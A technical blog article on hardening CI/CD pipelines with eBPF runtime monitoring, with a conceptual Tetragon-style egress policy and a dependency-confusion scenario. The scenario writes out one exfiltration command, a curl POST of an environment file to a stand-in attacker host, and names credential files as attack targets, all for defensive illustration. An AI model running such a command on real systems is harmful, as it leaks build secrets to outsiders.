Back to TechSheets
DevOpseBPFCybersecurityCI/CDCloudNative

Hardening the Supply Chain: Implementing eBPF-Powered Runtime Security in Ephemeral CI/CD Runners

Thanga MariappanSenior Architect
6 min read
Mar 29, 2026
Hardening the Supply Chain: Implementing eBPF-Powered Runtime Security in Ephemeral CI/CD Runners

Hardening the Supply Chain: Implementing eBPF-Powered Runtime Security in Ephemeral CI/CD Runners

The software supply chain has become the primary battleground for modern cybersecurity. High-profile breaches like the SolarWinds compromise and the Codecov incident have highlighted a glaring reality: our CI/CD pipelines are often the most vulnerable and least monitored part of our infrastructure. While we spend months hardening production clusters, our build runners frequently operate as "black boxes," executing thousands of lines of third-party code with broad network access and administrative privileges.

In this article, we will explore a cutting-edge approach to DevOps security: using eBPF (Extended Berkeley Packet Filter) to implement real-time runtime security within ephemeral CI/CD runners. By shifting security left into the kernel, we can detect and block malicious activity during the build process itself, before a single artifact is even signed.

The Problem: The Blind Spot in Ephemeral Environments

Modern CI/CD pipelines rely on ephemeral runners—short-lived virtual machines or containers that spin up, execute a job, and disappear. While this is great for scalability and reproducibility, it creates a massive observability gap.

Standard security tools like Static Analysis (SAST) or Software Composition Analysis (SCA) look at the code or the manifest files. However, they cannot detect a malicious postinstall script in an NPM package that reaches out to an external IP to exfiltrate environment variables. Once the build container starts, traditional tools are blind to its runtime behavior.

We need a way to answer: "What did that build script actually do? Did it try to write to /etc/shadow? Did it open a socket to a non-approved domain?"

Enter eBPF: Kernel-Level Observability for DevOps

eBPF is a revolutionary technology that allows us to run sandboxed programs in the Linux kernel without changing kernel source code or loading kernel modules. For DevOps engineers, eBPF is a superpower. It allows us to hook into syscalls (system calls) with near-zero overhead, giving us visibility into file access, network connections, and process execution.

Instead of relying on application-level logs, we can monitor the source of truth: the Kernel. When a build process executes a command, the kernel knows exactly what it is doing. By using eBPF, we can intercept these actions in real-time.

Why eBPF for CI/CD?

  1. Transparency: It requires no changes to the build scripts or the application code.
  2. Performance: eBPF programs are JIT-compiled and run at native speed, ensuring CI pipelines don't slow down.
  3. Unbypassable: Since it runs in the kernel, a malicious process in the container cannot hide its syscalls from eBPF hooks.

Architecture: Implementing Runtime Policy Enforcement

To secure our runners, we integrate an eBPF-based agent—such as Cilium Tetragon or Falco—into our runner infrastructure. This agent monitors the runner for deviations from an "Expected Behavior Profile."

The Workflow

  1. Runner Provisioning: A new ephemeral runner starts (e.g., a GitHub Actions Runner).
  2. Agent Initialization: An eBPF agent is launched as a background process or sidecar, loading predefined security policies into the kernel.
  3. Build Execution: The build job runs (e.g., npm install, go build).
  4. Real-time Monitoring: The eBPF agent monitors for unauthorized syscalls (e.g., a connect() to an unknown IP or a write() to a sensitive directory).
  5. Policy Action: If a violation occurs, the agent can either log the event, alert the security team, or—most effectively—send a SIGKILL to the offending process immediately.

Practical Implementation: Detecting Malicious Egress

Let’s look at a practical example. We want to ensure that our build process only communicates with known, trusted domains (like npmjs.org or github.com) and blocks any attempt to exfiltrate credentials to an attacker's server.

Below is a conceptual example of a Tracing Policy (using a Tetragon-like syntax) that monitors for network connections initiated during the build.

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "block-unauthorized-egress"
spec:
  kprobes:
    - call: "tcp_v4_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"
      selectors:
        - matchArgs:
            - index: 0
              operator: "NotDnsLookup"
              values:
                - "*.npmjs.org"
                - "*.github.com"
                - "*.pkg.dev"
          matchActions:
            - action: Sigkill

In this policy, the eBPF program hooks the tcp_v4_connect function in the kernel. If a process attempts to connect to an IP that doesn't resolve to our allowed list of domains, the kernel immediately sends a Sigkill to the process. The build fails instantly, preventing data exfiltration before it happens.

Automated Policy Generation: The "Golden Build" Pattern

Writing security policies for every microservice can be tedious. To scale this, we can implement the "Golden Build" Pattern.

During a known-safe environment (a "Training Run"), we run the eBPF agent in "Audit Mode." The agent records every syscall, file access, and network connection. We then use a script to convert this log into a strict security policy.

For example, if your build typically looks like this:

  1. Reads from /home/runner/work/.
  2. Executes /usr/bin/npm.
  3. Connects to registry.npmjs.org.

The generated policy will allow only these actions. Any future build that deviates—say, by trying to read /root/.ssh/id_rsa—will be flagged as a supply chain attack.

Example Log Analysis (Pseudocode)

def generate_policy(audit_logs):
    allowed_ips = set()
    allowed_files = set()
    
    for log in audit_logs:
        if log['type'] == 'NETWORK_CONNECT':
            allowed_ips.add(log['destination_ip'])
        elif log['type'] == 'FILE_OPEN':
            allowed_files.add(log['path'])
            
    return render_ebpf_policy(allowed_ips, allowed_files)

Real-World Scenario: Preventing the "Dependency Confusion" Attack

Imagine a developer accidentally includes a typo-squatted package in package.json. When the CI runner executes npm install, this malicious package runs a preinstall script.

Without eBPF, the script might execute curl -X POST -d @/etc/env http://attacker-collector.com. In a standard CI environment, this happens silently.

With eBPF Runtime Security:

  1. The kernel catches the connect() call to attacker-collector.com.
  2. The eBPF policy detects that this IP is not in the allowed list for npm processes.
  3. The agent kills the curl process and the parent npm install process.
  4. The CI pipeline fails with a message: "Security Violation: Unauthorized Network Egress Detected."
  5. The artifact is never created, and the malicious code never reaches production.

Challenges and Considerations

While powerful, implementing eBPF in CI/CD is not without hurdles:

  1. Kernel Access: eBPF requires privileged access to the host kernel. If you are using managed CI providers (like standard GitHub-hosted runners), you might not have the permissions to load eBPF programs. This often requires using self-hosted runners or specific "privileged" containers.
  2. Kernel Versioning: eBPF features depend on the Linux kernel version. Runners should ideally be on kernel 5.10 or higher for full functionality.
  3. Complexity: Debugging eBPF programs requires a deep understanding of Linux internals. However, tools like Tetragon and Falco are making this significantly more accessible by providing high-level abstractions.

Conclusion

As CI/CD pipelines become more complex, we can no longer afford to treat them as trusted environments. Shifting security left must mean more than just running linters; it must mean observing and enforcing the runtime behavior of our build runners.

eBPF provides the granularity and performance necessary to turn our ephemeral runners into hardened fortresses. By implementing real-time syscall monitoring and automated policy enforcement, we can effectively immunize our software supply chain against a vast array of modern threats. The future of DevOps is not just automated—it is self-defending.

Are you ready to stop trusting your builds and start verifying them at the kernel level?

0Likes
Share this techsheet
Share TechSheet

Discussion

0 characters